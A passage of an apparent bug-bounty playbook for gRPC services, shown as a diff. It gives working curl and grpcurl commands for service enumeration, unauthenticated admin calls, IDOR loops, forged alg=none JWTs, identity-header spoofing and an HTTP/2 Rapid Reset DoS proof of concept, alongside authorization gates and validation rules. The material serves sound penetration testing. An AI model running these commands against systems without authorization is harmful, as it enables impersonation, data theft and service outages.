# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
|
|
57
|
+
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
|
|
58
|
+
curl -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
|
|
59
|
+
-H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status
|
|
60
|
+
|
|
61
|
+
# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
|
|
62
|
+
curl -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
|
|
63
|
+
-H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
`grpc-status` trailer present ⇒ a gRPC server (or grpc-gateway/Envoy) is behind that port. `UNIMPLEMENTED` on a random path is normal and only confirms the transport — not a finding.
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
## Phase 2 — Service Enumeration via Reflection
|
|
71
|
+
|
|
72
|
+
```bash
|
|
73
|
+
brew install grpcurl # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
|
|
74
|
+
|
|
75
|
+
# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
|
|
76
|
+
grpcurl -plaintext $TARGET:50051 list
|
|
77
|
+
grpcurl -insecure $TARGET:443 list
|
|
78
|
+
|
|
79
|
+
# Typical output when reflection is on:
|
|
80
|
+
# grpc.reflection.v1.ServerReflection
|
|
81
|
+
# grpc.health.v1.Health
|
|
82
|
+
# user.UserService
|
|
83
|
+
# admin.AdminService
|
|
84
|
+
# payment.PaymentService
|
|
85
|
+
|
|
86
|
+
# List + describe every method of each service
|
|
87
|
+
grpcurl -plaintext $TARGET:50051 list admin.AdminService
|
|
88
|
+
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
|
|
89
|
+
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest # message schema
|
|
90
|
+
|
|
91
|
+
# Dump the whole catalog to triage interesting surfaces
|
|
92
|
+
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
|
|
93
|
+
echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
|
|
94
|
+
done | tee grpc-catalog.txt
|
|
95
|
+
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
**Reflection disabled?** You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked `.proto` (Phase 5) and pass it with `grpcurl -protoset bundle.bin ...`. Reflection-off is a hardening control, not a security boundary.
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## Phase 3 — Call Methods Without Authentication (authz testing)
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
# Baseline: call a sensitive method with NO auth metadata
|
|
106
|
+
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers
|
|
107
|
+
|
|
108
|
+
# IDOR across an enumerable id field
|
|
109
|
+
for ID in 1 2 3 100 1000 1001; do
|
|
110
|
+
echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
|
|
111
|
+
-d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
|
|
112
|
+
done
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
**Interpret the gRPC status code, not just whether bytes came back (see Validation):**
|
|
116
|
+
- `OK` + populated response → method executed unauthenticated → finding.
|
|
117
|
+
- `Unauthenticated (16)` / `PermissionDenied (7)` → authz is enforced; NOT a finding.
|
|
118
|
+
- `Unimplemented (12)` → wrong path / method not on this server.
|
|
119
|
+
- `InvalidArgument (3)` → reached and parsed your input → method is callable; fix the payload and retry.
|
|
120
|
+
|
|
121
|
+
---
|
|
122
|
+
|
|
123
|
+
## Phase 4 — Authentication / Trust-Boundary Bypass
|
|
124
|
+
|
|
125
|
+
```bash
|
|
126
|
+
# (a) Forged bearer / alg=none JWT in the authorization metadata
|
|
127
|
+
grpcurl -plaintext $TARGET:50051 \
|
|
128
|
+
-H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
|
|
129
|
+
-d '{}' admin.AdminService/GetConfig
|
|
130
|
+
|
|
131
|
+
# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
|
|
132
|
+
# then trust identity injected as metadata. If the edge does not STRIP these,
|
|
133
|
+
# spoofing them = full impersonation. Test every plausible name:
|
|
134
|
+
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
|
|
135
|
+
"x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
|
|
136
|
+
"x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
|
|
137
|
+
echo "== $H =="
|
|
138
|
+
grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
|
|
139
|
+
done
|
|
140
|
+
|
|
141
|
+
# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
|
|
142
|
+
# server; some auth middlewares only inspect text metadata, missing -bin keys.
|
|
143
|
+
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
|
|
144
|
+
-d '{}' admin.AdminService/GetConfig
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
The metadata-stripping bug (b) is the gRPC-specific crown jewel: confirm it by sending the spoofed header **directly to the backend port** AND, separately, **through the public proxy** — if the proxy forwards your `x-user-id` unchanged to the backend, it is exploitable for real users, not just on the bypassed port.
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## Phase 5 — Proto File / Schema Discovery
|
|
152
|
+
|
|
153
|
+
```bash
|
|
154
|
+
# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
|
|
155
|
+
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
|
|
156
|
+
S=$(curl -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
|
|
157
|
+
[ "$S" != 404 ] && echo "Found: /$P ($S)"
|
|
158
|
+
done
|
|
159
|
+
|
|
160
|
+
# Source/registry leakage of .proto definitions
|
|
161
|
+
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
|
|
162
|
+
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null
|
|
163
|
+
|
|
164
|
+
# Rebuild a descriptor set from leaked protos and drive the API without reflection
|
|
165
|
+
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
|
|
166
|
+
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
Proto leakage on its own is low severity; its value is as the key that unlocks Phases 3–4 against a reflection-disabled target.
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## Phase 6 — gRPC-Web / grpc-gateway / JSON-Transcoding Attacks
|
|
174
|
+
|
|
175
|
+
gRPC almost always reaches the browser through a transcoder: **Envoy `grpc_web`/`grpc_json_transcoder`**, **grpc-gateway** (REST↔gRPC), or **Connect**. These translators are the realistic external attack surface and frequently re-expose internal methods.
|
|
176
|
+
|
|
177
|
+
```bash
|
|
178
|
+
# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
|
|
179
|
+
# map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
|
|
180
|
+
curl -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
|
|
181
|
+
curl -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
|
|
182
|
+
-H 'content-type: application/json' -d '{}' # default unannotated route
|
|
183
|
+
|
|
184
|
+
# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
|
|
185
|
+
# Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
|
|
186
|
+
# Encode the message with protoscope so the bytes are correct:
|
|
187
|
+
# protoscope -s <<<'1: 1' > msg.bin # field 1 (e.g. user_id) = 1
|
|
188
|
+
MSG=$(xxd -p msg.bin | tr -d '\n')
|
|
189
|
+
LEN=$(printf '%08x' $((${#MSG}/2))) # 4-byte length prefix
|
|
190
|
+
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
|
|
191
|
+
echo "$FRAME" | xxd -r -p > frame.bin
|
|
192
|
+
curl -s "https://$TARGET/user.UserService/GetUser" \
|
|
193
|
+
-H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
|
|
194
|
+
--data-binary @frame.bin | xxd | head
|
|
195
|
+
|
|
196
|
+
# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
|
|
197
|
+
curl -s "https://$TARGET/user.UserService/GetUser" \
|
|
198
|
+
-H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \
|
|
199
|
+
-d '{"user_id": 1}'
|
|
200
|
+
|
|
201
|
+
# (d) Connect protocol (buf): plain JSON POST, unary, no framing:
|
|
202
|
+
curl -s "https://$TARGET/user.UserService/GetUser" \
|
|
203
|
+
-H 'content-type: application/json' -H 'connect-protocol-version: 1' \
|
|
204
|
+
-d '{"user_id": 1}'
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
Why this matters: the browser-facing transcoder commonly forwards to the SAME backend as the internal gRPC plane. If the transcoder route exposes `AdminService` or fails to require the auth the gRPC client would have sent, you have a real, externally-reachable authz bug. Confirm each transcoded route returns `OK` with sensitive data, and verify it is reachable as an unauthenticated/low-priv user (not just from inside the mesh).
|
|
208
|
+
|
|
209
|
+
---
|
|
210
|
+
|
|
211
|
+
## Phase 7 — HTTP/2 Rapid Reset DoS (CVE-2023-44487)
|
|
212
|
+
|
|
213
|
+
**Authorization gate:** DoS is out of scope on the overwhelming majority of programs. Do NOT run this without explicit, written, scoped permission and a target/window the program owner agreed to. Skip to Validation if unsure.
|
|
214
|
+
|
|
215
|
+
The attack is NOT a load test. It opens streams (HEADERS) and immediately cancels them (RST_STREAM) before the server finishes, so each cancelled stream frees a `MAX_CONCURRENT_STREAMS` slot instantly while the server still spends work on it — the client races far ahead of the concurrency cap. `h2load`/`ghz` are throughput benchmarkers; **they have no rapid-reset mode and never interleave HEADERS+immediate-RST_STREAM, so they cannot test this.**
|
|
216
|
+
|
|
217
|
+
**Correct tooling — author-sanctioned PoCs that actually emit the frame pattern:**
|
|
218
|
+
```bash
|
|
219
|
+
# CERT/CC + community tracking and PoCs for CVE-2023-44487:
|
|
220
|
+
# https://kb.cert.org/vuls/id/421644
|
|
221
|
+
# https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ (Cloudflare writeup)
|
|
222
|
+
# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:
|
|
223
|
+
git clone https://github.com/secengjeff/rapidresetclient
|
|
224
|
+
cd rapidresetclient && go build -o rapidreset .
|
|
225
|
+
# Detection-only: a SHORT, low-count burst, with permission, then STOP:
|
|
226
|
+
./rapidreset --help # confirm current flags first, then a SMALL authorized burst, e.g.:
|
|
227
|
+
# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20
|
|
228
|
+
|
|
229
|
+
# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)
|
|
230
|
+
# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
**Detection without DoSing — prefer this:** the only thing you need to PROVE is whether mitigations are present. Check the server banner / version and whether it tracks reset floods:
|
|
234
|
+
```bash
|
|
235
|
+
# Fingerprint the HTTP/2 implementation and version (patched versions are known):
|
|
236
|
+
curl -sI --http2 https://$TARGET/ | grep -i '^server:'
|
|
237
|
+
# nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,
|
|
238
|
+
# grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.
|
|
239
|
+
```
|
|
240
|
+
Report the *version-confirmed* mitigation gap rather than a benchmark slowdown. "Server got slower under load" is not proof of CVE-2023-44487 — it produces false positives on slow/under-provisioned servers and false negatives on patched ones that throttle resets gracefully.
|
|
241
|
+
|
|
242
|
+
---
|
|
243
|
+
|
|
244
|
+
## Tools
|
|
245
|
+
|
|
246
|
+
```bash
|
|
247
|
+
grpcurl # primary CLI client (list/describe/call, -protoset for reflection-off)
|
|
248
|
+
grpcui # web UI for interactive exploration: grpcui -plaintext $TARGET:50051
|
|
249
|
+
protoc + protoscope # build/inspect raw protobuf and gRPC-Web frames (Phase 6)
|
|
250
|
+
buf # lint/inspect proto, drive Connect endpoints
|
|
251
|
+
# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).
|
|
252
|
+
# NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not
|
|
253
|
+
# use them to "prove" CVE-2023-44487.
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
---
|
|
257
|
+
|
|
258
|
+
## Chain Table
|
|
259
|
+
|
|
260
|
+
| gRPC finding | Chain to | Impact |
|
|
261
|
+
|--------------|----------|--------|
|
|
262
|
+
| Reflection enabled | Enumerate all internal service methods + messages | Full API catalog disclosure (enabler) |
|
|
263
|
+
| Admin method, no auth | Call privileged RPCs (`DeleteUser`, `GetConfig`) | Data manipulation / system access — Critical |
|
|
264
|
+
| Proxy forwards `x-user-id`/`x-tenant-id` unstripped | Spoof identity metadata → cross-tenant impersonation | Tenant isolation bypass — Critical |
|
|
265
|
+
| IDOR via enumerable id field | Iterate `user_id` over `GetUser` | Mass PII exfil — High |
|
|
266
|
+
| grpc-gateway / gRPC-Web route re-exposes internal RPC | Hit transcoded REST/JSON path unauth | Externally-reachable authz bypass — High/Critical |
|
|
267
|
+
| Plaintext h2c on internal port | MITM / sniff metadata (bearer tokens) | Credential capture — High |
|
|
268
|
+
| `.proto` leak (repo/swagger) | `-protoset` to drive reflection-off target | Unlocks Phases 3–4 — Low alone, High as enabler |
|
|
269
|
+
|
|
270
|
+
Related skills: **hunt-idor** (id enumeration logic), **hunt-api-misconfig** (JWT alg=none / mass-assignment in request messages), **hunt-auth-bypass** (edge-vs-backend trust boundary), **hunt-tls-network** (h2c/plaintext + ALPN), **cloud-iam-deep** (if a called RPC returns cloud creds).
|
|
271
|
+
|
|
272
|
+
---
|
|
273
|
+
|
|
274
|
+
## Validation — false-positive discipline
|
|
275
|
+
|
|
276
|
+
gRPC's failure modes look like successes to a naive `grep`. Apply these gates before any submission.
|
|
277
|
+
|
|
278
|
+
1. **Status-code discrimination, not byte-counting.** A non-empty response can still be an error frame. Confirm the `grpc-status` trailer is `0` (OK). `Unauthenticated (16)` / `PermissionDenied (7)` mean auth WORKS — close the candidate. `Unimplemented (12)` means you have the wrong method. Re-run with `grpcurl -v` and read the trailers explicitly.
|
|
279
|
+
|
|
280
|
+
2. **Reflection / health endpoints are often intentionally public.** `grpc.reflection.*` and `grpc.health.v1.Health` being reachable is, by itself, **info disclosure (Low/Medium at most)** — many vendors ship reflection on by design. Do NOT report it as "missing auth" unless it leaks a non-public service catalog. The finding is the *sensitive* service you can then call without auth, proven in Phase 3.
|
|
281
|
+
|
|
282
|
+
3. **Distinguish "no auth" from "auth not required for THIS method."** Some methods (health, public catalog reads) are legitimately anonymous. Prove the bug by showing an authenticated-vs-unauthenticated **state delta**: the same RPC returns another user's/tenant's private data without credentials, or a mutating admin RPC executes (re-read the changed state to confirm side-effect).
|
|
283
|
+
|
|
284
|
+
4. **Proxy-vs-backend reachability.** A bug reachable only by hitting an internal `:50051` you found via SSRF/port-scan is real but its severity depends on reachability. State explicitly how an external attacker reaches it (exposed port, SSRF egress, proxy passthrough). For metadata-spoofing, prove the PUBLIC proxy forwards the spoofed header — not just the bypassed backend port.
|
|
285
|
+
|
|
286
|
+
5. **OOB / Collaborator for anything blind.** If an RPC takes a URL/host argument (webhook, import, render), it is an SSRF candidate: point it at a Burp Collaborator payload with a unique subdomain and confirm the DNS+HTTP interaction before claiming SSRF. No interaction = no SSRF. Hand off to **hunt-ssrf**.
|
|
287
|
+
|
|
288
|
+
6. **DoS is authorization-gated and version-verifiable.** Never submit CVE-2023-44487 off a benchmark "slowdown." Either (a) version-match an unpatched HTTP/2 stack from the `server:` banner, or (b) demonstrate the reset-flood ONLY under explicit written authorization with an agreed window — then stop immediately. A slow response is not proof.
|
|
289
|
+
|
|
290
|
+
**Severity guide (after the gates above pass):**
|
|
291
|
+
- Sensitive/admin RPC callable with no auth, side-effect proven → **Critical**
|
|
292
|
+
- Proxy-forwarded metadata spoofing → cross-tenant impersonation → **Critical**
|
|
293
|
+
- IDOR / mass PII via enumerable RPC → **High**
|
|
294
|
+
- Internal service externally reachable (transcoder or open port) → **High**
|
|
295
|
+
- Plaintext h2c leaking bearer metadata → **High**
|
|
296
|
+
- Reflection enabled exposing non-public catalog → **Medium** (enabler)
|
|
297
|
+
- Proto/descriptor leak, no callable sensitive method → **Low**
|
|
298
|
+
|
|
299
|
+
## When to Use
|
|
300
|
+
|
|
301
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
302
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
303
|
+
|
|
304
|
+
## Limitations
|
|
305
|
+
|
|
306
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
307
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
308
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
309
|
+
|
|
310
|
+
### Example
|
|
311
|
+
|
|
312
|
+
```bash
|
|
313
|
+
# Read-only first step; confirm scope before anything active.
|
|
314
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
315
|
+
```
|
|
316
|
+
|
|
317
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|